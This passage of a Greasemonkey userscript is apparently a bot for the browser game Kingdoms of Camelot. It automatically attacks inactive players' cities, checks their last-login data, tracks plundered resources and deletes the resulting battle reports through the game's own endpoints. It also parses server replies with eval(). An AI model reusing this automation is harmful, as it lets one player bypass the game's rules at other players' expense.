       if(t.nextattack == null) t.nextattack = setInterval(t.getnextCity, parseInt(Math.random()*3)+FarmOptions.SendInterval*1000);
	 if (FarmOptions.Running == true)  {
	 setInterval(t.startdeletereports,(120000));
     setInterval( t.checkMarches ,parseInt(Math.random()*3)+14*1000);
	 }
     document.getElementById('pbFarmcity').options.length=0;
        for (i=0;i<Seed.cities.length;i++){
            var o = document.createElement("option");
            o.text = Seed.cities[i][1]
            o.value = i+1;
            document.getElementById("pbFarmcity").options.add(o);
    }
    document.getElementById('FarmInterval').options.length=0;
        for (i=0;i<t.interval.length;i++){
            var o = document.createElement("option");
            o.text = t.interval[i];
            o.value = i;
            document.getElementById("FarmInterval").options.add(o);
    }
    document.getElementById('FarmInterval').value = FarmOptions.Interval;    
    for(i=0;i<Seed.cities.length;i++){
            var elem = 'pdtotalFarm'+i;
            if (t.FarmArray[i+1] == undefined) document.getElementById(elem).innerHTML = 'No Data';
            else {
					var l_ok_farms =0;
			                 for (a=0;a<t.helpArray[i+1].length;a++){
							 if ((t.helpArray[i+1][a]['DaysInactive']=='?') ||(t.helpArray[i+1][a]['DaysInactive']> FarmOptions.Inactive)) l_ok_farms++;
							 }
			document.getElementById(elem).innerHTML =  '' + l_ok_farms+'/'+t.FarmArray[i+1].length +'/'+ t.helpArray[i+1].length+'';
			}
    }
    document.getElementById('FarmInterval').addEventListener('change', function(){
            FarmOptions.Interval = document.getElementById('FarmInterval').value;
            saveFarmOptions();
    } , false);
    document.getElementById('FarmRallyClip').addEventListener('change', function(){
            FarmOptions.RallyClip = document.getElementById('FarmRallyClip').value;
            saveFarmOptions();
    } , false);
    document.getElementById('FarmAttacksInterval').addEventListener('change', function(){
            FarmOptions.SendInterval = document.getElementById('FarmAttacksInterval').value;
            saveFarmOptions();
    } , false);
	
	
    document.getElementById('FarmReports').addEventListener('change', function(){
            FarmOptions.DeleteReports = document.getElementById('FarmReports').checked;
            saveFarmOptions();
    } , false);
    document.getElementById('FarmRadius').addEventListener('change', function(){
            FarmOptions.MaxDistance = parseInt(document.getElementById('FarmRadius').value);
            saveFarmOptions();
    } , false);
    document.getElementById('FarmAttSearch').addEventListener('click', function(){t.toggleBarbState(this)} , false);
    document.getElementById('FarmSearch').addEventListener('click', function(){
        for (i=1;i<=Seed.cities.length;i++) GM_deleteValue('Farms_' + Seed.player['name'] + '_city_' + i + '_' + getServerId());
        for(i=0;i<Seed.cities.length;i++){
                var elem = 'pdtotalFarm'+i;
                document.getElementById(elem).innerHTML = 'No Data';
        }
        t.checkFarmData();
    } , false);

    document.getElementById('pbFarmSearch2').addEventListener('click', function(){
	        for (i=1;i<=Seed.cities.length;i++) {
			if (FarmOptions.CityEnable[i] == false)
			  GM_deleteValue('Farms_' + Seed.player['name'] + '_city_' + i + '_' + getServerId());}
        for(i=0;i<Seed.cities.length;i++){
                var elem = 'pdtotalFarm'+i;
                	if (FarmOptions.CityEnable[i+1] == false)document.getElementById(elem).innerHTML = 'No Data';
        }
        t.checkFarmData();
    } , false);
	    document.getElementById('pbcompactFarms1').addEventListener('click', function(){

        for(i=0;i<Seed.cities.length;i++){
                var elem = 'pdtotalFarm'+i;
               if (FarmOptions.CityEnable[i] == false) document.getElementById(elem).innerHTML = 'No Data';
        }
        t.compactFarmData();
    } , false);
	    document.getElementById('pbcompactFarms2').addEventListener('click', function(){
        for(i=0;i<Seed.cities.length;i++){
                var elem = 'pdtotalFarm'+i;
                document.getElementById(elem).innerHTML = 'No Data';
        }
        t.compactFarmData2();
    } , false);
	    document.getElementById('pbcompactFarms3').addEventListener('click', function(){
        for(i=0;i<Seed.cities.length;i++){
                var elem = 'pdtotalFarm'+i;
                document.getElementById(elem).innerHTML = 'No Data';
        }
        t.compactFarmData3();
    } , false);
    document.getElementById('pbpaintFarms').addEventListener('click', function(){t.showFarms(document.getElementById("pbFarmcity").value,Seed.cities[document.getElementById("pbFarmcity").value -1][1]);},false);  
  
    document.getElementById('FarmMinMight').addEventListener('change', function(){
            FarmOptions.MinMight = parseInt(document.getElementById('FarmMinMight').value);
            t.FilterFarms();
            saveFarmOptions();
    } , false);
    document.getElementById('FarmMaxMight').addEventListener('change', function(){
            FarmOptions.MaxMight = parseInt(document.getElementById('FarmMaxMight').value);
            t.FilterFarms();
            saveFarmOptions();
    } , false);
    document.getElementById('FarmInactive').addEventListener('change', function(){
            FarmOptions.Inactive = parseInt(document.getElementById('FarmInactive').value);
            t.FilterFarms();
            saveFarmOptions();
    } , false);
    document.getElementById('FarmBadRess').addEventListener('change', function(){
            FarmOptions.MinFarmRes = parseInt(document.getElementById('FarmBadRess').value);
            t.FilterFarms();
            saveFarmOptions();
    } , false);
    
  
  
    var element = document.getElementsByClassName('pbTroopOpt');
     for (k=0;k<element.length;k++){
            element[k].addEventListener('change', function(){
                    for (i=1;i<=10;i++){
                        FarmOptions.Troops[i] = document.getElementById('FarmTroop' + i).value;
                        saveFarmOptions();
                    }
            }, false);
      }
    
    element = document.getElementsByClassName('pbCityOpt');
     for (k=0;k<element.length;k++){
            element[k].addEventListener('change', function(){
                    for (i=1;i<=12;i++){
                        FarmOptions.CityLevel[i] = document.getElementById('CityLevel' + i).checked;
                        saveFarmOptions();
                    }
                    t.FilterFarms();
            }, false);
      }
    
    element = document.getElementsByClassName('pbCityEn');
     for (k=0;k<element.length;k++){
            element[k].addEventListener('change', function(){
                    for (i=1;i<=Seed.cities.length;i++){
                        FarmOptions.CityEnable[i] = document.getElementById('CityEnable' + i).checked;
                        saveFarmOptions();
                    }
                    t.FilterFarms();
            }, false);
      }
    
    element = document.getElementsByClassName('pbDipOpt');
     for (k=0;k<element.length;k++){
            element[k].addEventListener('change', function(){
                    for (i=0;i<t.DipArray.length;i++){
                        FarmOptions.Diplomacy[t.DipArray[i]] = document.getElementById('Diplomacy' + t.DipArray[i]).checked;
                        saveFarmOptions();
                    }
                    t.FilterFarms();
            }, false);
      
      }
    
   },
   

    checkMarches: function () {
        var t = Tabs.farm;
        for (i=0;i<FarmOptions.FarmMarches.length;i++){
                var cityId = "city"+ FarmOptions.FarmMarches[i]["cityId"];
                var cityNo = FarmOptions.FarmMarches[i]["city"];
				var marchID = FarmOptions.FarmMarches[i]["marchId"];
				var farmNo  = FarmOptions.FarmMarches[i]["number"]
				var marchId = "m" + marchID;
                if (Seed.queue_atkp[cityId][marchId] !=undefined){
					var l_marchStatus = Seed.queue_atkp[cityId][marchId].marchStatus;
				     if (Seed.queue_atkp[cityId][marchId].marchType==4) {
                            if ((l_marchStatus==8 &&Seed.queue_atkp[cityId][marchId].hasUpdated)||(l_marchStatus==5)){
			//actionLog('CityNo '+cityNo + '; i ='+i+'; farmNo'+farmNo+';marchID-'+marchID+';marchstatus'+l_marchStatus+'. '+Seed.queue_atkp[cityId][marchId].hasUpdated);

            FarmOptions.Checks++;
            FarmOptions.FarmMarches.splice(i,1);
			saveFarmOptions();
            //document.getElementById('FarmCheck').innerHTML = "Attacks: " + FarmOptions.Attacks + " - Checks:" +			FarmOptions.Checks+' (Last city '+cityNo+')';

			t.getRetMarchInfo (marchID,cityNo,farmNo,
			parseInt(t.FarmArray[cityNo][farmNo]["Gold"]),
			parseInt(t.FarmArray[cityNo][farmNo]["Food"]),
			parseInt(t.FarmArray[cityNo][farmNo]["Wood"]),parseInt(t.FarmArray[cityNo][farmNo]["Stone"]),
			parseInt(t.FarmArray[cityNo][farmNo]["Ore"]),0,parseInt(t.helpArray[cityNo][farmNo]["empty"]));

            saveFarmOptions();
                            }
						}
                } else {
                    FarmOptions.FarmMarches.splice(i,1);
                    saveFarmOptions();
                }    
        }
     },    

   checkInactives : function (citynumber,city,FarmNumber,xcoord,ycoord,kid,uid,u1,u2,u3,u4,u5,u6,u7,u8,u9,u10,u11,u12){
        var t = Tabs.farm;
        var now = new Date().getTime()/1000.0;
        var hours = (now - t.FarmArray[city][FarmNumber]['LastCheck']) / 3600;
        if (t.FarmArray[city][FarmNumber]['DaysInactive'] == "?" || hours > 12){
                var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
                params.pid = uid;
                new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/viewCourt.php" + unsafeWindow.g_ajaxsuffix, {
                         method: "post",
                          parameters: params,
                          onSuccess: function (transport) {
                                    var rslt = eval("(" + transport.responseText + ")");
                                    var lastLogin = rslt.playerInfo.lastLogin;
                                    var fullDate = lastLogin.substr(0,4) +", "+ lastLogin.substr(5,2) +", "+ lastLogin.substr(8,2) ;
                                    var time = new Date (fullDate).getTime()/1000;
                                    var days = Math.floor((now - time) / 86400);
                                    t.FarmArray[city][FarmNumber]['DaysInactive'] = days;
			var AllianceName = rslt.playerInfo.allianceName;
           t.FarmArray[city][FarmNumber]["AllianceName"] = AllianceName;
		   if (!(!!AllianceName)) {t.FarmArray[city][FarmNumber]["Diplomacy"] = 'unallied';t.FarmArray[city][FarmNumber]["AllianceName"]="";}
		   else { if (t.FarmArray[city][FarmNumber]["Diplomacy"] == 'unallied') t.FarmArray[city][FarmNumber]["Diplomacy"]='neutral' };
	       t.FarmArray[city][FarmNumber]["might"] = rslt.playerInfo.might;
                                    for (i=0;i<t.helpArray[city].length;i++){
                                                 if (xcoord == parseInt(t.helpArray[city][i]['x']) && ycoord == parseInt(t.helpArray[city][i]['y'])){
                                                    t.helpArray[city][i]['DaysInactive'] = days;
                                                    t.helpArray[city][i]['LastCheck'] = now;
													t.helpArray[city][i] ["AllianceName"] = rslt.playerInfo.allianceName;
	                                                t.helpArray[city][i] ["might"] = rslt.playerInfo.might;
                                                   }    
  //
  /*Arch Angels ReUKnighted		28 cCc__alparslan__cCc		24
Death to Strangers		5
family pride		90
Family Pride II		100
Fierce Knights		82
Hostile Rogues		41
Hulles_Rache		17
InSaNe AsYlUm		93
INSANE SAVAGES		26
SAVAGE KNIGHTS		91* /
  var not_hit_list = 'family pride';//"The Highlanders"
  if (t.helpArray[city][i]["AllianceName"] == not_hit_list && t.helpArray[city][i]["enabled"]!='true'&&days>2) t.helpArray[city][i]["enabled"] = false;
	//if (parseInt(t.helpArray[city][i]["attacked"]) >1) t.helpArray[city][i]["attacked"] = 1;*/

                                    }
                                    GM_setValue('Farms_' + Seed.player['name'] + '_city_' + city + '_' + getServerId(), JSON2.stringify(t.helpArray[city]));
									
                                    if (days > FarmOptions.Inactive) {
                                        t.doBarb(citynumber,city,FarmNumber,xcoord,ycoord,kid,u1,u2,u3,u4,u5,u6,u7,u8,u9,u10,u11,u12);
                                    } else     {
                                                FarmOptions.FarmNumber[city]++;
                                                saveFarmOptions();
                                                t.barbing();
                                            }
                           },
                          onFailure: function (rslt) {
                                    notify (rslt);
                          },
                });
        } else {
			var l_inactive_days_koef =1;
			var Diplomacy = t.FarmArray[city][FarmNumber]['Diplomacy'];
	        if (Diplomacy=='unallied') l_inactive_days_koef=0.2;
            if (t.FarmArray[city][FarmNumber]['DaysInactive'] >= FarmOptions.Inactive*l_inactive_days_koef) {
                t.doBarb(citynumber,city,FarmNumber,xcoord,ycoord,kid,u1,u2,u3,u4,u5,u6,u7,u8,u9,u10,u11,u12);
             }     else{
                    FarmOptions.FarmNumber[city]++;
                    saveFarmOptions();
                    t.barbing();
                }
        }
    },
 getRetMarchInfo: function (marchIDs,cityNum,farmNum,l_g,l_f,l_w,l_s,l_o,l_a,l_got_info_times) {
  var t = Tabs.farm;
  var ret = {};
  var l_lost = false;
  var l_enabled = true;
  var ll_got_info = l_got_info_times;
  ret.marchUnits = [];
  ret.returnUnits = [];
  ret.Coords = [];
  ret.reso = [];
 // ret.Coords[0]=-1;ret.Coords[0]=-1;
 // for (ik=0; ik<15; ik++){ ret.marchUnits[ik] = 0;ret.returnUnits[ik] = 0;}
 // for (il=0; il<=5; il++){ret.reso[il] = 0;}
  
   var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
   params.rid = marchIDs;
   new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/fetchMarch.php" + unsafeWindow.g_ajaxsuffix, {
                         method: "post",
                          parameters: params,
                          onSuccess: function (message) {
                                    var rslt = eval("(" + message.responseText + ")");

/* rslt.march["knightName"]   parseInt(rslt.march["marchType"]) {1: transport;2: reinforce;3: scout;4: attack;5: reassign}
switch (parseInt(rslt.march["marchStatus"])){1: marching;2: defending;8: returning;9: aborting; default:undefined}
 rslt.march["unit" + i + "Return"]
 for (i=0; i<15; i++){ ret.returnUnits[i] = parseInt(rslt.march["unit" + i + "Return"]);//ret.marchUnits[i] = parseInt(rslt.march["unit" + i + "Count"]);
 }*/ 
    var l_debug_on =0;
    var  marchStatus = rslt.march["marchStatus"];
     ret.Coords[0]= parseInt(rslt.march["xCoord"]);ret.Coords[1]=parseInt(rslt.march["yCoord"]);
    ret.reso[0] = parseInt(rslt.march["gold"]);
    for (var j = 1; j <= 5; j++) {ret.reso[j] = parseInt(rslt.march["resource" +j]);}

	                        for (a=0;a<t.helpArray[cityNum].length;a++){
							if (ret.Coords[0] == parseInt(t.helpArray[cityNum][a]['x']) && ret.Coords[1] == parseInt(t.helpArray[cityNum][a]['y'])){
							
	if (l_debug_on==1 &&(ll_got_info>0||marchStatus ==1)) actionLog('City-'+cityNum+' Farm('+farmNum+')'+marchIDs+'('+ ret.Coords[0]+','+ret.Coords[1]+')'+ '; Res-'+Math.round((ret.reso[0]+ret.reso[1]+ret.reso[2]+ret.reso[3]+ret.reso[4])/1000)+'!!!MARCH_STATUS=' + marchStatus+'. ll_got_info-'+ll_got_info);
								if (marchStatus ==1) {myVar2 = setTimeout(function(){t.getRetMarchInfo(marchIDs,cityNum,farmNum,l_g,l_f,l_w,l_s,l_o,l_a,ll_got_info)},10*1000); return;}
                                    for(u=1;u<=12;u++) {
									  var l_ret_units = parseInt(rslt.march["unit"+u+"Return"]);
									  var l_sent_units = parseInt(rslt.march["unit"+u+"Count"]);
										if (l_ret_units < l_sent_units){
                                                l_lost = true;
												actionLog('City-'+cityNum+' Farm('+farmNum+')('+ ret.Coords[0]+','+ret.Coords[1]+')'+'.l_ret_units'+u+'+sent: '+l_ret_units+'/'+l_sent_units);
												if (l_ret_units < (l_sent_units*75/100)) l_enabled = false;
										}
									}

if (l_debug_on==1) actionLog('City-'+cityNum+'||FOOD-'+  Math.round(ret.reso[1]/1000000)+ 'M; ORE-'+ Math.round(ret.reso[4]/1000000)+ 'M||;wood-'+ Math.round(ret.reso[2]/1000000)+'M;stone-'+ Math.round(ret.reso[3]/1000000)+'M.'+' Farm('+farmNum+',marchno'+marchIDs+')('+ ret.Coords[0]+','+ret.Coords[1]+')'); // Before food1-'+t.FarmArray[cityNum][farmNum]["Food"] );
	l_g += ret.reso[0]; l_f += ret.reso[1]; l_w += ret.reso[2]; l_s += ret.reso[3]; l_o += ret.reso[4]; 

  if (l_f+l_w+l_s+l_o < 1.5*1000*1000) l_enabled = false; // disable farm because it have only less then 1.5 mil res.
  if (ret.reso[5]>0) { actionLog('City-'+cityNum+' Farm have astone ['+ret.reso[5]+'] at ('+ ret.Coords[0]+','+ret.Coords[1]+') !!! :)');}
  if ((ret.reso[0]+ret.reso[1]+ret.reso[2]+ret.reso[3]+ret.reso[4])/1000000>=(FarmOptions.MinFarmRes*2)) { //actionLog('City-'+cityNum+' Send wags to that FAT Farm ['+parseInt((ret.reso[0]+ret.reso[1]+ret.reso[2]+ret.reso[3]+ret.reso[4])/1000000)+' mil res ] at ('+ ret.Coords[0]+','+ret.Coords[1]+') !!! :)');
   var now = new Date().getTime()/1000.0;
   now = now.toFixed(0);
				     					t.helpArray[cityNum][a]['time'] = now-55*3600;
   }
  										t.helpArray[cityNum][a]['Ore'] = l_o;
										t.helpArray[cityNum][a]["Wood"] = l_w;
                                        t.helpArray[cityNum][a]['Stone'] = l_s;
										t.helpArray[cityNum][a]["Food"] = l_f;
                                        t.helpArray[cityNum][a]["Gold"] = l_g;
                                        t.helpArray[cityNum][a]['enabled'] = l_enabled;
                                        t.helpArray[cityNum][a]['lost'] = l_lost;
										t.helpArray[cityNum][a]['empty'] ++;
								GM_setValue('Farms_' + Seed.player['name'] + '_city_' + cityNum + '_' + getServerId(), JSON2.stringify(t.helpArray[cityNum]));
  }}

		   },
                          onFailure: function (rslt) { }
    })
	},
      showFarms: function (citynumber,cityname) {
        var t = Tabs.farm;
        var popTradeRoutes = null;
        t.popTradeRoutes = new pbPopup('pbShowFarms', 0, 0, 1100, 485, true, function() {clearTimeout (1000);});
        var m = '<DIV style="max-height:460px; height:460px; overflow-y:auto"><TABLE align=center cellpadding=0 cellspacing=0 width=100% class="pbShowBarbs" id="pbBars">';       
        t.popTradeRoutes.getMainDiv().innerHTML = '</table></div>' + m;
        t.popTradeRoutes.getTopDiv().innerHTML = '<TD><center><B>Farms for city: '+cityname+'</center></td>';
        t.paintFarms(citynumber,cityname);
        t._addTabHeader(citynumber,cityname);
        t.popTradeRoutes.show(true)    ;
     },
    
    
        ToggleFarms: function(citynumber) {
            var t = Tabs.farm;
            var id=0;
            var element_class = document.getElementsByClassName('Farm');
                   for (d = 1; d <= t.FarmArray[citynumber].length; d++) {
                        id = d-1;
                        var ele = document.getElementById('FarmToggle' + d);
                  if (ele.checked) {
                t.FarmArray[citynumber][id].enabled = true;
                t.FarmArray[citynumber][id].lost = false;
                //t.FarmArray[citynumber][id].empty = 0;   
            }
                        else t.FarmArray[citynumber][id].enabled = false;
                }
            for (i=0;i<t.helpArray[citynumber].length;i++){
                    for (j=0;j<t.FarmArray[citynumber].length;j++){
                         if (parseInt(t.FarmArray[citynumber][j]['x']) == parseInt(t.helpArray[citynumber][i]['x']) && parseInt(t.FarmArray[citynumber][j]['y']) == parseInt(t.helpArray[citynumber][i]['y'])) t.helpArray[citynumber][i].enabled = t.FarmArray[citynumber][j].enabled;
                    }
            }
            GM_setValue('Farms_' + Seed.player['name'] + '_city_' + citynumber + '_' + getServerId(), JSON2.stringify(t.helpArray[citynumber]));
        },
        
     paintFarms: function(i,cityname){
            var t = Tabs.farm;
			var now = new Date().getTime()/1000.0;
			now = now.toFixed(0);
            for (k=(t.FarmArray[i].length-1);k>=0;k--)
			{
            var Hourss = 0;
			//if (t.FarmArray[i][k]['DaysInactive'] > 5 || t.FarmArray[i][k]['DaysInactive']=='?') {
			if (parseInt(t.FarmArray[i][k]['time'])>0)	Hourss = Math.round((now - parseInt(t.FarmArray[i][k]['time'])) / 3600);
			
			t._addTab(i,cityname,k+1,t.FarmArray[i][k]['enabled'], t.FarmArray[i][k]['x'], t.FarmArray[i][k]['y'],t.FarmArray[i][k]['dist'], t.FarmArray[i][k]['level'],t.FarmArray[i][k]['AllianceName'], t.FarmArray[i][k]['Diplomacy'], t.FarmArray[i][k]['PlayerName'], t.FarmArray[i][k]['cityName'],t.FarmArray[i][k]['might'], t.FarmArray[i][k]['cityNumber'], t.FarmArray[i][k]['attacked'],t.FarmArray[i][k]['DaysInactive'],t.FarmArray[i][k]['lost'],t.FarmArray[i][k]['empty'],t.FarmArray[i][k]['Ore'],t.FarmArray[i][k]['Wood'],t.FarmArray[i][k]['Stone'],t.FarmArray[i][k]['Food'],t.FarmArray[i][k]['Gold'],
			Hourss
			);
			//}
			}
        },


          _addTab: function(citynumber,cityname,queueId,status,X,Y,dist,level,AllianceName,diplomacy,playerName,cityName,might,cityNumber,attacked,DaysInactive,lost,empty,Ore,Wood,Stone,Food,Gold, last_hit_time){
             var t = Tabs.farm;
             var row = document.getElementById('pbBars').insertRow(0);
             row.vAlign = 'top';     
              if (lost) {row.style.color = "red";
			  }else{
             if (!lost) {row.style.color = "brown"; row.style.background = "rgb(246,243,236)";
		 
			 if  (Math.round(Ore /1000000,1) +Math.round(Food /1000000,1)+Math.round(Stone/1000000,1)+Math.round(Wood/1000000,1)+Math.round(Gold/1000000,1)<FarmOptions.MinFarmRes) row.style.color = "lightblue";
 			 if  (Math.round(Ore /1000000,1)+Math.round(Food /1000000,1)>FarmOptions.MinFarmRes*0.70) {row.style.color = "darkgreen";row.style.backgroundColor = "#BDD1A7";}

			 }
			 var l_inactive_days_koef =1;
			 if (diplomacy=='unallied') l_inactive_days_koef=0.2;
             if (FarmOptions.Inactive*l_inactive_days_koef > DaysInactive) row.style.color = "#E8C384"; //"orange";
			 if (!lost &&!status) row.style.color = "gray";}
			 
             row.insertCell(0).innerHTML = queueId;
             row.insertCell(1).innerHTML = coordLink(X,Y);
             row.insertCell(2).innerHTML = dist;
                row.insertCell(3).innerHTML = level;
               row.insertCell(4).innerHTML = AllianceName;
               row.insertCell(5).innerHTML = diplomacy;    
                row.insertCell(6).innerHTML = playerName;
               row.insertCell(7).innerHTML = cityName;
                   row.insertCell(8).innerHTML = addCommas(might);
                row.insertCell(9).innerHTML = DaysInactive;
                 row.insertCell(10).innerHTML = attacked;
             row.insertCell(11).innerHTML = '<INPUT class=Farm id="FarmToggle' + queueId + '" type=checkbox>';
                 row.insertCell(12).innerHTML = Math.round(Ore /1000000,1) +'|';
                 row.insertCell(13).innerHTML = Math.round(Food /1000000,1) +'|';
				 row.insertCell(14).innerHTML = Math.round(Stone/1000000,1)+'||';
                 row.insertCell(15).innerHTML = Math.round(Wood/1000000,1)+'|';
                row.insertCell(16).innerHTML = Math.round(Gold /1000000,1)+'|';
				row.insertCell(17).innerHTML = '('+empty +'-' +last_hit_time+'h)'; //Math.round(last_hit_time,2);
             
            var element_class = document.getElementsByClassName('Farm');
                   for (c = 0; c < element_class.length; c++) {
                        element_class[c].checked = t.FarmArray[citynumber][c].enabled;
                        element_class[c].addEventListener('click', function(){t.ToggleFarms(citynumber)}, false);
                    }
         },
        
         _addTabHeader: function(citynumber,cityname) {
         var t = Tabs.farm;
             var row = document.getElementById('pbBars').insertRow(0);
             row.vAlign = 'top';
             row.insertCell(0).innerHTML = "Id";
             row.insertCell(1).innerHTML = "Coords";
             row.insertCell(2).innerHTML = "Dist.";
             row.insertCell(3).innerHTML = "Level";
             row.insertCell(4).innerHTML = "Allaince Name";
            row.insertCell(5).innerHTML = "Diplomacy";
            row.insertCell(6).innerHTML = "Player Name";
            row.insertCell(7).innerHTML = "City Name";
            row.insertCell(8).innerHTML = "Might";
            row.insertCell(9).innerHTML = "Inactive";
              row.insertCell(10).innerHTML = "# Attacks";
                 row.insertCell(11).innerHTML = " [on/off] ";
                 row.insertCell(12).innerHTML = "Ore";
                row.insertCell(13).innerHTML = "Food";
                row.insertCell(14).innerHTML = "Stone";
                 row.insertCell(15).innerHTML = "Wood";
                row.insertCell(16).innerHTML = "Gold";
				row.insertCell(17).innerHTML = "Visited";

           },
        
        
  startdeletereports : function (){
    var t = Tabs.farm;
    if (!FarmOptions.DeleteReports) return;
    if(!t.deleting){
        t.deleting = true;
        t.fetchbarbreports(0, t.checkbarbreports);
    }
  },
  fetchbarbreports : function (pageNo, callback){
    var t = Tabs.farm;
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    if(pageNo > 0)
        params.pageNo = pageNo;
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/listReports.php" + unsafeWindow.g_ajaxsuffix, {
        method: "post",
        parameters: params,
        onSuccess: function (rslt) {
            callback(rslt);
        },
        onFailure: function () {
        },
    });
  },
  checkbarbreports : function (rslt){
    var t = Tabs.farm;
    if(!rslt.ok){
        return;
    }
    if(rslt.arReports.length < 1){
        return;
    }
    var reports = rslt.arReports;
	var now = new Date().getTime()/1000.0;
     now = now.toFixed(0);
// t.helpArray[cityNum][a]['time'] = now-55*3600;
    var totalPages = rslt.totalPages;
        var deletes1 = new Array();
        for(k in reports){
            for (i=1;i<=Seed.cities.length;i++){
                    var x=Seed.cities[i-1]["2"];
                    var y=Seed.cities[i-1]["3"];
                    for (j=0;j<t.FarmArray[i].length;j++){
                                if (reports[k].side1XCoord == x && reports[k].side1YCoord == y && reports[k].side0XCoord == t.FarmArray[i][j]["x"] && reports[k].side0YCoord == t.FarmArray[i][j]["y"]&&(!(t.FarmArray[i][j]['lost']))
								&&(t.FarmArray[i][j]['enabled']||(!(t.FarmArray[i][j]['enabled'])&&(now-t.FarmArray[i][j]['time']<25*60)))
								) {
								deletes1.push(k.substr(2));
								}
                    }
            }    
        }
        if(deletes1.length > 0){
            t.deletereports(deletes1);
        } else {
            t.deleting = false;
            return;
        }
  },

  deletereports : function (deletes1){
    var t = Tabs.farm;
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    params.s1rids = deletes1.join(",");
    params.s0rids = '';
    params.cityrids = '';
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/deleteCheckedReports.php" + unsafeWindow.g_ajaxsuffix, {
        method: "post",
        parameters: params,
        onSuccess: function (rslt) {
            Seed.newReportCount = parseInt(Seed.newReportCount) - parseInt(deletes1.length);
            t.fetchbarbreports(0, t.checkbarbreports);
        },
        onFailure: function () {
        },
    });
  },

  isMyself: function(userID){
    if(!Seed.players["u"+userID])
        return false;
    if(Seed.players["u"+userID].n == Seed.player.name)
        return true;
    else
        return false;
    return false;
  },

  checkFarmData: function(){
     if(!FarmOptions.Running)return;
      var t = Tabs.farm;
      for (i=1;i<=Seed.cities.length;i++){
        t.helpArray[i] = [];
		  //if(!FarmOptions.CityEnable[i])continue;
          var myarray = (GM_getValue('Farms_' + Seed.player['name'] + '_city_' + i + '_' + getServerId()));
        if (myarray == undefined && t.searchRunning==false) {
            t.searchRunning = true;
              t.lookup=i;
              t.opt.startX=parseInt(Seed.cities[(i-1)][2]);
              t.opt.startY=parseInt(Seed.cities[(i-1)][3]);  
              t.clickedSearch();
          }
        if (myarray != undefined){
            myarray = JSON2.parse(myarray);
            //if(Method == 'distance')
            t.helpArray[i] = myarray.sort(function sortBarbs(a,b) {a = a['dist'];b = b['dist'];return a == b ? 0 : (a < b ? -1 : 1);});
              GM_setValue('Farms_' + Seed.player['name'] + '_city_' + i + '_' + getServerId(), JSON2.stringify(t.helpArray[i]));
              }
          }
    t.FilterFarms();
  },
 compactFarmData: function(){
      var t = Tabs.farm;
      for (cityNum=1;cityNum<=Seed.cities.length;cityNum++){
	  var n =0;
	  var max_attacks = 0;
	  t.FarmArray[cityNum] = [];

		for (a=0;a<t.helpArray[cityNum].length;a++){
			if ((t.helpArray[cityNum][a]['might']< FarmOptions.MaxMight)&&(
            t.helpArray[cityNum][a]['DaysInactive']=='?'
			|| parseInt(t.helpArray[cityNum][a]['DaysInactive'])>2)) {
			 t.FarmArray[cityNum][n++] = t.helpArray[cityNum][a];
			 }
		}

              GM_setValue('Farms_' + Seed.player['name'] + '_city_' + cityNum + '_' + getServerId(), JSON2.stringify(t.FarmArray[cityNum]));
    }
    t.FilterFarms();
	reloadKOC();
  },
compactFarmData2: function(){
      var t = Tabs.farm;
	  var l_min_res = FarmOptions.MinFarmRes * 1000000;
      for (cityNum=1;cityNum<=Seed.cities.length;cityNum++){
	   if (!(FarmOptions.CityEnable[cityNum])){
	    var n =0;
	    var max_attacks = 0;
	  	for (a=0;a<t.helpArray[cityNum].length;a++){
			 if (max_attacks < t.helpArray[cityNum][a]['attacked'] ) max_attacks=t.helpArray[cityNum][a]['attacked'];
			}
		if (max_attacks>0) {
		 t.FarmArray[cityNum] = [];
		 for (a=0;a<t.helpArray[cityNum].length;a++){
			var l_o = parseInt(t.helpArray[cityNum][a]['Ore'])
			var l_w = parseInt(t.helpArray[cityNum][a]["Wood"]);
			var l_s = parseInt(t.helpArray[cityNum][a]['Stone']);
			var l_f = parseInt(t.helpArray[cityNum][a]["Food"]);
			var l_g = parseInt(t.helpArray[cityNum][a]["Gold"]);
			var l_attacked = parseInt(t.helpArray[cityNum][a]['empty']);
			if (t.helpArray[cityNum][a]['enabled']&&t.helpArray[cityNum][a]['DaysInactive']!='?' &&(l_attacked<1&&parseInt(t.helpArray[cityNum][a]['DaysInactive'])>3 || (l_attacked>0 && ((l_o+l_w+l_s+l_f+l_g)>l_min_res||(l_o+l_f)>l_min_res*0.70)) )) {
			 t.FarmArray[cityNum][n++] = t.helpArray[cityNum][a];
			}
		 }
              GM_setValue('Farms_' + Seed.player['name'] + '_city_' + cityNum + '_' + getServerId(), JSON2.stringify(t.FarmArray[cityNum]));
		}
	  }
     }
    t.FilterFarms();
	reloadKOC();
  },
compactFarmData3: function(){
    var t = Tabs.farm;
    for (cityNum=1;cityNum<=Seed.cities.length;cityNum++){
		if (!(FarmOptions.CityEnable[cityNum])){
		 var n =0;
		 t.FarmArray[cityNum] = [];
			for (a=0;a<t.helpArray[cityNum].length;a++){
				if (t.helpArray[cityNum][a]['enabled']){
					t.helpArray[cityNum][a]['Ore']=0;
					t.helpArray[cityNum][a]["Wood"]=0;
					t.helpArray[cityNum][a]['Stone']=0;
					t.helpArray[cityNum][a]["Food"]=0;
					t.helpArray[cityNum][a]["Gold"]=0;
					t.helpArray[cityNum][a]['attacked']=0;
					t.helpArray[cityNum][a]['empty']=0;
				}
				t.FarmArray[cityNum][n++] = t.helpArray[cityNum][a];
			}
            GM_setValue('Farms_' + Seed.player['name'] + '_city_' + cityNum + '_' + getServerId(), JSON2.stringify(t.FarmArray[cityNum]));
		}
    }
    t.FilterFarms();
	reloadKOC();
  },

  FilterFarms: function() {
    var t = Tabs.farm;
    if (t.searchRunning) return;
    t.FarmArray = new Array();
    t.FarmArray["1"] = new Array();
    t.FarmArray["2"] = new Array();
    t.FarmArray["3"] = new Array();
    t.FarmArray["4"] = new Array();
    t.FarmArray["5"] = new Array();
    t.FarmArray["6"] = new Array();
    t.FarmArray["7"] = new Array();
    t.FarmArray["8"] = new Array();    
    for (u=1;u<=Seed.cities.length;u++){        
        for (i=0;i<t.helpArray[u].length;i++){
            var checkLvl = false;
            var checkMight = false;
            var checkDip = false;
            var checkAlliance = false;
            var AllianceName = "";
